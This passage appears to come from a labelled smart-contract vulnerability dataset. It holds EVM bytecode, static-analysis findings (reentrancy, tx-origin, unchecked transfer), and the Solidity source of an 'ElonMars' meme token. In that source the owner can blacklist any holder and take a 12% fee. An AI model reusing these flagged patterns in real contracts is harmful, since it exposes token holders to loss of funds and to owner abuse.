52604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b61125d611820565b6000546001600160a01b039081169116146112ad576040805162461bcd60e51b81526020600482018190526024820152600080516020612af3833981519152604482015290519081900360640190fd5b60178054911515620100000262ff000019909216919091179055565b6112d1611820565b6000546001600160a01b03908116911614611321576040805162461bcd60e51b81526020600482018190526024820152600080516020612af3833981519152604482015290519081900360640190fd5b6040516001600160a01b038216904780156108fc02916000818181858888f19350505050158015611356573d6000803e3d6000fd5b5050565b601754640100000000900460ff1681565b60155481565b60115481565b60105481565b6000546001600160a01b031690565b600d8054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610b4a5780601f10610b1f57610100808354040283529160200191610b4a565b6113f5611820565b6000546001600160a01b03908116911614611445576040805162461bcd60e51b81526020600482018190526024820152600080516020612af3833981519152604482015290519081900360640190fd5b601780549115156101000261ff0019909216919091179055565b6000610b8c61146c611820565b84610cc285604051806060016040528060258152602001612b856025913960046000611496611820565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190611f79565b6114cf611820565b6000546001600160a01b0390811691161461151f576040805162461bcd60e51b81526020600482018190526024820152600080516020612af3833981519152604482015290519081900360640190fd5b6009805460ff1916600117905543600f55565b6000610b8c61153f611820565b8484611910565b60175462010000900460ff1681565b61155d611820565b6000546001600160a01b039081169116146115ad576040805162461bcd60e51b81526020600482018190526024820152600080516020612af3833981519152604482015290519081900360640190fd5b60148054821515610100810261ff00199092169190911790915560408051918252517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599181900360200190a150565b60185481565b600b5490565b60145462010000900460ff1681565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b61164a611820565b6000546001600160a01b0390811691161461169a576040805162461bcd60e51b81526020600482018190526024820152600080516020612af3833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600560205260409020805460ff19169055565b6116c3611820565b6000546001600160a01b03908116911614611713576040805162461bcd60e51b81526020600482018190526024820152600080516020612af3833981519152604482015290519081900360640190fd5b600e80546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b611743611820565b6000546001600160a01b03908116911614611793576040805162461bcd60e51b81526020600482018190526024820152600080516020612af3833981519152604482015290519081900360640190fd5b633b9aca0002601555565b6117a6611820565b6000546001600160a01b039081169116146117f6576040805162461bcd60e51b81526020600482018190526024820152600080516020612af3833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600760205260409020805460ff19166001179055565b600b5481565b3390565b6001600160a01b0383166118695760405162461bcd60e51b8152600401808060200182810382526024815260200180612b616024913960400191505060405180910390fd5b6001600160a01b0382166118ae5760405162461bcd60e51b8152600401808060200182810382526022815260200180612a606022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166119555760405162461bcd60e51b8152600401808060200182810382526025815260200180612b3c6025913960400191505060405180910390fd5b6001600160a01b03821661199a5760405162461bcd60e51b8152600401808060200182810382526023815260200180612a3d6023913960400191505060405180910390fd5b600081116119d95760405162461bcd60e51b8152600401808060200182810382526029815260200180612b136029913960400191505060405180910390fd5b6001600160a01b03831660009081526007602052604090205460ff16158015611a1b57506001600160a01b03821660009081526007602052604090205460ff16155b611a2457600080fd5b60095460ff16611a5357611a3661137d565b6001600160a01b0316836001600160a01b031614611a5357600080fd5b601754610100900460ff1615611aeb57611a6b61137d565b6001600160a01b0316836001600160a01b031614158015611aa55750611a8f61137d565b6001600160a01b0316826001600160a01b031614155b15611aeb57601554811115611aeb5760405162461bcd60e51b8152600401808060200182810382526028815260200180612a826028913960400191505060405180910390fd5b601754640100000000900460ff1615611c2057611b0661137d565b6001600160a01b0316826001600160a01b031614158015611b3057506001600160a01b0382163014155b8015611b6e57507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316826001600160a01b031614155b8015611bac57507f0000000000000000000000000f459808da30e68c695416b1aa05f5beae2921976001600160a01b0316826001600160a01b031614155b15611c205732600090815260036020526040902054601e42011015611c0d576040805162461bcd60e51b815260206004820152601260248201527110dbdbdb191bdddb881a5b881959999958dd60721b604482015290519081900360640190fd5b3260009081526003602052604090204290555b60175462010000900460ff1615611cd3577f0000000000000000000000000f459808da30e68c695416b1aa05f5beae2921976001600160a01b0316836001600160a01b0316148015611ca457507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316826001600160a01b031614155b8015611cb957506001600160a01b0382163014155b15611cd357326001600160a01b03831614611cd357600080fd5b60175460ff1615611ddd577f0000000000000000000000000f459808da30e68c695416b1aa05f5beae2921976001600160a01b0316836001600160a01b0316148015611d385750611d2261137d565b6001600160a01b0316836001600160a01b031614155b8015611d5d5750611d4761137d565b6001600160a01b0316826001600160a01b031614155b8015611d9b57507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316826001600160a01b031614155b8015611db057506001600160a01b0382163014155b15611ddd576000611dc083611198565b601654909150611dd08284612010565b1115611ddb57600080fd5b505b6000611de830611198565b90506015548110611df857506015545b60185481108015908190611e0f575060145460ff16155b8015611e4d57507f0000000000000000000000000f459808da30e68c695416b1aa05f5beae2921976001600160a01b0316856001600160a01b031614155b8015611e605750601454610100900460ff165b15611e73576018549150611e7382612071565b6001600160a01b03851660009081526005602052604090205460019060ff1680611eb557506001600160a01b03851660009081526005602052604090205460ff165b15611ebe575060005b7f0000000000000000000000000f459808da30e68c695416b1aa05f5beae2921976001600160a01b0316866001600160a01b0316148015611f0857506001600160a01b0385163014155b8015611f4657507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316856001600160a01b031614155b15611f5a576003601055600a601155611f65565b600a60105560036011555b611f718686868461215f565b505050505050565b600081848411156120085760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611fcd578181015183820152602001611fb5565b50505050905090810190601f168015611ffa5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008282018381101561206a576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6014805460ff19166001179055600061208b8260056124c9565b9050600061209a8260026124c9565b905060006120a8848361250b565b9050476120b48261254d565b60006120c0478361250b565b90506120cc848261275d565b600e546040516001600160a01b0361010090920491909116904780156108fc02916000818181858888f1935050505015801561210c573d6000803e3d6000fd5b50604080518581526020810183905280820186905290517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a150506014805460ff1916905550505050565b60145462010000900460ff161561222f57600f5443111580156121b357507f0000000000000000000000000f459808da30e68c695416b1aa05f5beae2921976001600160a01b0316846001600160a01b0316145b80156121f157507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316836001600160a01b031614155b801561220657506001600160a01b0383163014155b1561222f576001600160a01b0383166000908152600760205260409020805460ff191660011790555b8061223c5761223c61285b565b600061225e60646122586010548661288d90919063ffffffff16565b906124c9565b9050600061227c60646122586011548761288d90919063ffffffff16565b9050600061228a858461250b565b905060006122a28461229c888661250b565b9061250b565b90506122ae88856128e6565b6122b78361299c565b6001600160a01b0388166000908152600260205260409020546122da908361250b565b6001600160a01b03808a1660009081526002602052604080822093909355908916815220546123099082612010565b6001600160a01b0388166000908152600260205260409020556017546301000000900460ff16801561236d57507f0000000000000000000000000f459808da30e68c695416b1aa05f5beae2921976001600160a01b0316886001600160a01b031614155b801561238257506001600160a01b0388163014155b80156123c057507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316886001600160a01b031614155b801561243857507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316876001600160a01b0316148061243857507f0000000000000000000000000f459808da30e68c695416b1aa05f5beae2921976001600160a01b0316876001600160a01b0316145b15612467576124677f0000000000000000000000000f459808da30e68c695416b1aa05f5beae292197856128e6565b866001600160a01b0316886001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3846124bf576124bf6129c9565b5050505050505050565b600061206a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506129d7565b600061206a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611f79565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061257c57fe5b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125f557600080fd5b505afa158015612609573d6000803e3d6000fd5b505050506040513d602081101561261f57600080fd5b505181518290600190811061263057fe5b60200260200101906001600160a01b031690816001600160a01b03168152505061267b307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611824565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663791ac9478360008430426040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015612720578181015183820152602001612708565b505050509050019650505050505050600060405180830381600087803b15801561274957600080fd5b505af1158015611f71573d6000803e3d6000fd5b612788307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611824565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663f305d7198230856000806127c561137d565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b15801561283057600080fd5b505af1158015612844573d6000803e3d6000fd5b50505050506040513d6060811015610ef557600080fd5b60105415801561286b5750601154155b156128755761288b565b6010805460125560118054601355600091829055555b565b60008261289c57506000610b90565b828202828482816128a957fe5b041461206a5760405162461bcd60e51b8152600401808060200182810382526021815260200180612aaa6021913960400191505060405180910390fd5b6128ef82611198565b8111156128fb57600080fd5b6001600160a01b03821660009081526002602052604090205461291e908261250b565b6001600160a01b038316600090815260026020526040902055600a54612944908261250b565b600a55600b546129549082612010565b600b556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b306000908152600260205260409020546129b69082612010565b3060009081526002602052604090205550565b601254601055601354601155565b60008183612a265760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611fcd578181015183820152602001611fb5565b506000838581612a3257fe5b049594505050505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573735472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122096c47a2f2a38919e817374fa3c7541dd6ebf18fb09849081a6bb6f6399ec2d4364736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
10,011
0xfa3c3fc8b877bd8562c2fcd939ee241fafe28379
/** ElonMars 🚀🚀 TG:https://t.me/ElonMarsErc Website : https://elonmars.life/ Twitter: https://twitter.com/ElonMars_onMars?t=q1Rpq1b_aqHZ84j5mU6mvg&s=08 Elon Musk, the real life Tony Stark, is preparing to leave our Earth behind and start terraforming Mars into humanities new home. */ pragma solidity ^0.8.13; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ElonMars is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 888888888 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "ElonMars"; string private constant _symbol = "ElonMars"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0x8a6d21aD6DAd17f279Cc86277ef10e92eb59C322); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 12; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 12; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 13333333 * 10**9; _maxWalletSize = 26666666 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612713565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906127dd565b6104b4565b60405161018e9190612838565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612862565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129c5565b6104e2565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612a0e565b61060c565b60405161021f9190612838565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612a61565b6106e5565b005b34801561025d57600080fd5b506102666107d5565b6040516102739190612aaa565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612af1565b6107de565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612b1e565b610890565b005b3480156102da57600080fd5b506102e3610969565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612a61565b6109db565b6040516103199190612862565b60405180910390f35b34801561032e57600080fd5b50610337610a2c565b005b34801561034557600080fd5b5061034e610b7f565b005b34801561035c57600080fd5b50610365610c34565b6040516103729190612b5a565b60405180910390f35b34801561038757600080fd5b50610390610c5d565b60405161039d9190612713565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906127dd565b610c9a565b6040516103da9190612838565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612b1e565b610cb8565b005b34801561041857600080fd5b50610421610d91565b005b34801561042f57600080fd5b50610438610e0b565b005b34801561044657600080fd5b50610461600480360381019061045c9190612b75565b611328565b60405161046e9190612862565b60405180910390f35b60606040518060400160405280600881526020017f456c6f6e4d617273000000000000000000000000000000000000000000000000815250905090565b60006104c86104c16113af565b84846113b7565b6001905092915050565b6000670c55f7bbee083000905090565b6104ea6113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056e90612c01565b60405180910390fd5b60005b81518110156106085760016006600084848151811061059c5761059b612c21565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060090612c7f565b91505061057a565b5050565b6000610619848484611580565b6106da846106256113af565b6106d5856040518060600160405280602881526020016136b660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068b6113af565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c119092919063ffffffff16565b6113b7565b600190509392505050565b6106ed6113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077190612c01565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e66113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610873576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086a90612c01565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108986113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091c90612c01565b60405180910390fd5b6000811161093257600080fd5b610960606461095283670c55f7bbee083000611c7590919063ffffffff16565b611cef90919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109aa6113af565b73ffffffffffffffffffffffffffffffffffffffff16146109ca57600080fd5b60004790506109d881611d39565b50565b6000610a25600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611da5565b9050919050565b610a346113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab890612c01565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b876113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0b90612c01565b60405180910390fd5b670c55f7bbee083000600f81905550670c55f7bbee083000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f456c6f6e4d617273000000000000000000000000000000000000000000000000815250905090565b6000610cae610ca76113af565b8484611580565b6001905092915050565b610cc06113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4490612c01565b60405180910390fd5b60008111610d5a57600080fd5b610d886064610d7a83670c55f7bbee083000611c7590919063ffffffff16565b611cef90919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd26113af565b73ffffffffffffffffffffffffffffffffffffffff1614610df257600080fd5b6000610dfd306109db565b9050610e0881611e13565b50565b610e136113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9790612c01565b60405180910390fd5b600e60149054906101000a900460ff1615610ef0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee790612d13565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f7f30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670c55f7bbee0830006113b7565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fee9190612d48565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611055573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110799190612d48565b6040518